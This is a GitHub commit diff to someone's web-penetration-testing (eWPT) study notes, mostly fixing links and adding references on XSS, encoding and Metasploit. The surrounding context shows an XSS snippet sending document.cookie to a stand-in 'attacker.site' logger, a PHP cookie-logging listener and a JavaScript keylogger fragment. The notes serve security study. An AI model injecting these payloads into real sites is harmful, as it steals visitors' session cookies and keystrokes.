Skip to content

Commit

Permalink
eWPT: Improving XSS notes
Browse files Browse the repository at this point in the history
  • Loading branch information
amandaguglieri committed Apr 16, 2024
1 parent 66a4252 commit 7c6a145
Show file tree
Hide file tree
Showing 6 changed files with 18 additions and 8 deletions.
1 change: 0 additions & 1 deletion docs/cloning-a-site.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,6 @@ tags:
- phishing
- tools
---

# Tools for cloning a site

[BeEF](beef.md).
Expand Down
6 changes: 3 additions & 3 deletions docs/data-encoding.md
Original file line number Diff line number Diff line change
Expand Up @@ -288,14 +288,14 @@ parseInt("ohpe",36)

It's one of the possible attacks that can be perform with unicode:

![Visual spoofing attack](visual-spoofing-attack.png)
![Visual spoofing attack](img/visual-spoofing-attack.png)

![Visual spoofing attack](visual-spoofing-attack_02.png)
![Visual spoofing attack](img/visual-spoofing-attack_02.png)


A tool for generating visual spoofing attacks: [https://www.irongeek.com/homoglyph-attack-generator.php](https://www.irongeek.com/homoglyph-attack-generator.php)

![Visual spoofing attack](visual-spoofing-attack_03.png)
![Visual spoofing attack](img/visual-spoofing-attack_03.png)

[Paper](https://www.irongeek.com/i.php?page=security/out-of-character-use-of-punycode-and-homoglyph-attacks-to-obfuscate-urls-for-phishing)

Expand Down
2 changes: 1 addition & 1 deletion docs/ewpt-preparation.md
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@ eWPTX

| Module | Course name | My notes on HackingLife |
| ------ | --------------------------------------- | ----------------------------------------------------------------------------------- |
| 01 | Encoding and filtering | |
| 01 | Encoding and filtering | - [Data encoding](data-encoding.md)<br>- [Input filtering](input-filtering.md) |
| 02 | Evasion Basics | |
| 03 | Cross-Site Scripting | - [Cross Site Script vulnerabilities](webexploitation/cross-site-scripting-xss.md). |
| 04 | Filter evasion and WAF Bypasssing | |
Expand Down
3 changes: 3 additions & 0 deletions docs/metasploit.md
Original file line number Diff line number Diff line change
Expand Up @@ -409,6 +409,9 @@ searchsploit nagios3

Use this to enumerate users and brute force passwords in a smb service.

### auxiliary/http_javascript_keylogger

It creates the Javascript payload with a keylogger, which could be injected within the XSS vulnerable web page and automatically starts the listening server. To see how it works, set the DEMO option to true.

### post/windows/gather/hasdump 

Expand Down
13 changes: 10 additions & 3 deletions docs/webexploitation/cross-site-scripting-xss.md
Original file line number Diff line number Diff line change
Expand Up @@ -360,6 +360,8 @@ HTTPOnly forbids javaScript from accessing the cookies, for example, through the

#### 2.1. Cross Site Tracing

[OWASP Cross Site Tracing reference](https://owasp.org/www-community/attacks/Cross_Site_Tracing)

Technique for bypassing HTTPOnly flag. Since scripting languages are blocked due to the use of HTTPOnly, this technique proposes to use the HTTP TRACE method.

HTTP TRACE method is a method used for debugging, and it echoes back input requests to the user. So, if we send HTTP headers normally inaccessible to Javascript, we will be able to read them.
Expand Down Expand Up @@ -414,7 +416,7 @@ var i = new Image();
i.src = "http://attacker.site/log.php?q="+document.cookie;
</script>
```

Add that code to the injection endpoint that you detected in step 1. That code will save the cookie in a text file on the attacker site.

Create a text file (log.php) for capturing the sent cookie in the attacker site:
Expand Down Expand Up @@ -490,7 +492,7 @@ Example of C.php Listerner recording hosts, time of logging, IP addresses:
<?php
error_reporting(0); # Turn off all error reporting

function getVictimIP()= { ... } # Function tha returns victim IP
function getVictimIP()= { ... } # Function that returns victim IP
function collect() {
$file= '_cc_.txt'; # The log file
$date=date("l dS of F Y h:i:s A");
Expand Down Expand Up @@ -553,13 +555,15 @@ https://victim.site/XSS/reflected.php?name=%3Cscript%3Edocument.body.innerHTML=%

- *Persistent defacements* modify permanently the content hosted on the target web application. They are basically abusing Stored XSS.

[Tools for cloning a website](../cloning-a-site.md)

### 4. Keyloggers

A tool: [http_javascript_keylogger](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/server/capture/http_javascript_keylogger.rb). See also [my notes on that metasploit module](../metasploit.md).

Event logger from [BeEF](../beef.md).

The following code.
The following code:

```js
var keys = "" //Where > where to store the key strokes
Expand All @@ -583,6 +587,9 @@ window.setInterval(function()) {

```
Additionally, we have the [metasploit](../metasploit.md) module auxiliary(http_javascript_keylogger), an advance version of the previous javascript code. It creates the Javascript payload with a keylogger, which could be injected within the vulnerable web page and automatically starts the listening server. To see how it works, set the DEMO option to true.
### 5. Network attacks
A way to enter within intranet networks is by passing through HTTP traffic that, despite other protocols, is usually allowed to pass by firewalls.
Expand Down
1 change: 1 addition & 0 deletions mkdocs.yml
Original file line number Diff line number Diff line change
Expand Up @@ -135,6 +135,7 @@ nav:
- pyinstaller: pyinstaller.md
- pypykatz: pypykatz.md
- rdesktop: rdesktop.md
- regex: regex.md
- regshot: regshot.md
- responder.py: responder.md
- rpcclient: rpcclient.md
Expand Down

0 comments on commit 7c6a145

Please sign in to comment.